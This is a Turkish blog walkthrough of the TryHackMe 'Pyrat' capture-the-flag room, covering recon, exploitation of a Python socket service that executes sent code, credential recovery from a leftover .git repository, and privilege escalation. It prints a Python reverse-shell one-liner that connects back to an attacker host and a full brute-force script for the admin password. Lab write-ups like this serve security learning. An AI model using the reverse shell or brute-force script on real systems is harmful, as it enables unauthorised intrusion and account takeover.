Pyrat

Pyrat Challenge'ını çözmeye çalışacağım. Bu challenge, öncelikle TryHackMe üzerinden erişebileceğin ve kolay seviyede olarak nitelendirilen bir challengedir.

author image

Written by

Furkan İbiş

Published on

Mar 26

Pyrat

Esenlikler,

Bugünkü yazımda Pyrat Challenge’ını çözmeye çalışacağım. Umarım hem senin hem de benim için faydalı bir içerik olur.

Bu challenge, öncelikle TryHackMe üzerinden erişebileceğin ve kolay seviyede olarak nitelendirilen bir challengedir.

Şimdiden bu challengeyi oluşturan herkese emekleri için teşekkür ediyorum.

Keşif

Öncelikle, hedef sistemin IP adresi TryHackMe tarafından verildiği için, keşif aşamasında IP tespiti yapmama gerek kalmadı. Bu nedenle, doğrudan hedef sistemin sunduğu servisleri kontrol edeceğim. Bu işlemi Nmap aracıyla gerçekleştireceğim.

nmap -sS -sV 10.10.111.140 -A -O -p-

Bu sayede, hedef sistemin sağladığı servisleri, bu servislerle ilgili Nmap’in içinde yer alan scriptlerin sunduğu bilgileri, işletim sistemiyle ilgili verileri ve çalışan servislerin sürüm bilgilerini öğrenebileceğim.

Hedef sistem, 22 numaralı SSH portu ve 8000 numaralı portta Python’un SimpleHTTPServer modülüyle sağlanan bir web hizmeti sunuyor. Burada dikkat etmen gereken önemli bir nokta da şu: SimpleHTTPServer’a gönderilen bazı isteklerde sistem, "name 'GET' is not defined" şeklinde bir hata mesajı döndürüyor. Bu, doğrudan bir Python hatası ve hedef sistemde stdin ve stdout mekanizmasının çalıştığını gösteriyor.

Bu noktada, stdin ve stdout üzerinden neler elde edebileceğimize bakacağız. Ancak öncelikle, SimpleHTTPServer’ın bize neler sunduğunu inceleyelim.

Eğer sadece bu web hizmetinin ana sayfasına bakarsak, karşımıza hiçbir şey çıkmıyor. Ayrıca, bu ana sayfanın kaynak kodlarında da herhangi bir ipucu yer almıyor. Yani şu an için elimizde sadece "try a more basic connection" ifadesi bulunuyor. Bu nedenle, bu sayfanın başka bir alt sayfa sunup sunmadığını test etmek istiyorum.

dirb http://10.10.111.141:8000

Maalesef bu denemeden bir sonuç elde edemiyorum. Bu noktada burpsuite ile incelediğimde bir sonuca varamıyorum.

Neden TELNET

Hedef sistemin nmap'in -A parametresi ile belirttiğin script taramasına verdiği yanıtları görmüştün. Bu noktada telnet ile hedef sistemin 8000. portunda sağladığı hizmete bağlanıp burada neler yapabiliyorsun kontrol edeceğiz.

"Peki, neden bunu telnet ile yapıyorsun? Telnet, 23 numaralı portta çalışan bir protokol değil mi?" diye sorabilirsin. Ancak telnet sadece hedef sisteme plain text şeklinde bağlanmak için kullanılmaz. Aslında telnet, basit bir TCP istemcisidir. Yani belirttiğin bir adrese TCP bağlantısı açabilir. Bu nedenle yalnızca bir protokol desteği sunmaz, aynı zamanda veri iletişimini de sağlar.

TELNET'in Kullanımı

Öncelikle telnet’i kullanarak hedef sisteme bir TCP bağlantısı açarsın. Bu sayede, eğer hedef sistem belirttiğin port üzerinden gelen bağlantıları dinliyorsa, sistemin belirlediği kurallar çerçevesinde onunla iletişime geçebilirsin.

Bu noktada, hedef sistemde çalışan socket modülü ile oluşturulmuş TCP soketi, bizim gönderdiğimiz verileri alıyor, işliyor ve sistem admin tarafından belirlenen kurallar çerçevesinde bize geri dönüş yapıyor olmalı. Şimdilik bu kuralların ne olduğunu bilmiyoruz; ancak burada işimize yarayabilecek kısım, hedefin bizim gönderdiğimiz kodları herhangi bir kontrolden geçirmiyor olma ihtimali.

Bu yüzden, hedef sisteme bir Python kodu aracılığıyla reverse shell bağlantısı açabilirsin. Bunun için internette kısa bir arama ile şu koda erişebilirsin.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.212.71",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

Hedef Sistemde Gezinmek

Öncelikle /root dizinindeyim ve bu konumdaki dosyaları listelemek için yetkim bulunmuyor.

Bu nedenle, bulunduğum dizin dışında sistemde hangi kullanıcıların olduğunu öğrenmek adına /etc/passwd dosyasını kontrol ediyorum.

think adında bir kullanıcının var olduğunu ve bu kullanıcıya ait bir home dizini bulunduğunu görüyorum. Ancak, think kullanıcısının dizinine erişmeye çalıştığımda yine yetkim olmadığını fark ediyorum.

Doğru Dizini Bulmak

Buradaki amacım kısaca şu: Hedef sistem, bir Python kodu aracılığıyla TCP socket bağlantısı açıyor ve bu bağlantı üzerinden belirli kurallar çerçevesinde veri alıp işliyor olmalı. Bu nedenle, bu işlemleri gerçekleştiren dosyayı bulmam gerekiyor.

Bunu yapabilmek için dizinleri gezmeye başlayabilirim ya da çeşitli araçlar kullanabilirim. Ancak bu durumda araç kullanmak daha mantıklı olacaktır, çünkü gezebileceğim çok fazla path mevcut.

Araştırmalarım sonucunda "LinPEAS" isminde bir script buluyorum. Bu script, hedef sistemde yetki yükseltme (privilege escalation) için kullanılabilecek yolları tespit ederek bizim için listeliyor.

linpeas.sh dosyasını kendi cihazımdan hedef'e yönelik bir tarama gerçekleştirebilmek için biraz işlem yapmam gerekiyor.

Tabii biraz beklemeniz gerekiyor...

Burada bir .git reposunun unutulmuş olduğunu görüyoruz.

GIT Dosyasını Analiz Etmek

Git deposunun bulunduğu dizine geldiğimde, .git klasörü dışında başka bir dosya görmedim. Bu nedenle git loglarını incelemeye karar verdim. Bunun için .git klasörünü kendi makinama indirip, git geçmişini analiz edeceğim.

pyrat.py.old dosyasını fark ettim ve bu dosyayı geri yükledim. Dosyayı açtığımda ise aşağıda görebileceğiniz kodlarla karşılaştım.

Şimdi daha derine inmeden önce bu kısmı biraz inceleyelim. Bir komut gönderildiğinde, eğer bir endpoint belirtilmemişse, kod doğrudan else bloğuna giriyor. Bu bölüm bizim için kritik çünkü yorum satırındaki "Check socket is admin and downgrade if is not approved" ifadesinden de anlayabileceğimiz gibi, eğer bağlantı admin değilse ve komut bir shell çağrısı değilse, gönderilen komutlar yalnızca exec_python fonksiyonuna yönlendiriliyor.

Yani, telnet ile bağlandığımda bağlantıyı admin olarak tanımlayabilirsem, sistem admin kontrolü yapacak ve büyük ihtimalle benden bir parola talep edecektir. Bu parolayı doğru şekilde tespit edebilirsem, hedef sisteme admin olarak erişim sağlayabileceğim.

Eğer doğrudan bir shell komutu gönderirsem, hedef sistem beni doğrudan www-data kullanıcısı olarak sisteme atacak. Bu kısmı bir checkpoint olarak düşünebilirsin.

Ancak, henüz git reposunu tam olarak incelemedik. Biraz daha derinlemesine incelediğimde, git reposunun config dosyasında think kullanıcısının kullanıcı adı ve parola bilgilerini buluyorum.

Think Like Think

Hedef sisteme bağlandığımda, think kullanıcısının home dizininde user flag'ini buluyorum. Böylece ilk flag'i elde etmiş oluyorum. Şimdi ise ikinci göreve geçiyorum: root olmak.

Öncelikle, daha önce tespit ettiğimiz çalışan socket dosyasını biraz daha derinlemesine inceleyelim.

def switch_case(client_socket, data):  
    if data == 'some_endpoint':  
        get_this_endpoint(client_socket)  
    else:  
        # Check if socket is admin and downgrade if not approved  
        uid = os.getuid()  
        if (uid == 0):  
            change_uid()  
          
        if data == 'shell':  
            shell(client_socket)  
        else:  
            exec_python(client_socket, data)  
  
def shell(client_socket):  
    try:  
        import pty  
        os.dup2(client_socket.fileno(), 0)  
        os.dup2(client_socket.fileno(), 1)  
        os.dup2(client_socket.fileno(), 2)  
        pty.spawn("/bin/sh")  
    except Exception as e:  
        send_data(client_socket, e)

Burada görebileceğiniz gibi, bir endpoint dışında gelen isteklerde hedef sistemin uid'si alınıyor. Bu işlem sırasında admin kontrolü yapılıyor, ancak biz bu işlemi doğrudan gözlemleyemiyoruz.

Onaylanma süreci tam olarak burada devreye giriyor. Kendi denemelerimde brute force saldırılarına karşı herhangi bir koruma mekanizması bulunmadığını fark ettiğim için, aşağıdaki kod aracılığıyla admin parolasını tespit edebiliyoruz.

import socket
import os
import time

pyrat_IP = "10.10.13.103"
pyrat_PORT = 8000
wordlist = "/usr/share/wordlists/rockyou.txt"

def send_socket(ip: str, port: int, password: str) -> bool:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)  # timeout ekledik
        s.connect((ip, port))
        s.sendall(b'admin\n')

        resp = s.recv(1024).decode(errors="ignore")

        if "Password:" in resp:
            s.sendall(password.encode() + b"\n")
            resp = s.recv(1024).decode(errors="ignore")

            if "success" in resp.lower() or "admin" in resp.lower():
                print(f"[+] Found! admin:{password} -> {resp.strip()}")
                return True
            else:
                print(f"[-] Failed: {password}")
    except Exception as e:
        print(f"[!] Connection error for password '{password}': {e}")
    finally:
        s.close()
    return False

def brut_pass():
    with open(wordlist, "r", encoding="latin-1", errors="ignore") as file:
        for line in file:
            password = line.strip()
            if send_socket(pyrat_IP, pyrat_PORT, password):
                break
            time.sleep(0.1)
if __name__ == "__main__":
    brut_pass()

Bu sayede, hedef sistemin sunduğu socket bağlantısını kullanarak admin yetkileriyle bir shell oturumu başlatabileceğiz.

Root.txt içerisindeki ikinci flag’i de alarak görevimizi tamamlıyoruz.

Teşekkürler

Yazımı buraya kadar okuduğunuz için teşekkür ederim. Bir sonraki test raporunda görüşmek dileğiyle. Kendinize iyi bakın, esenlikler.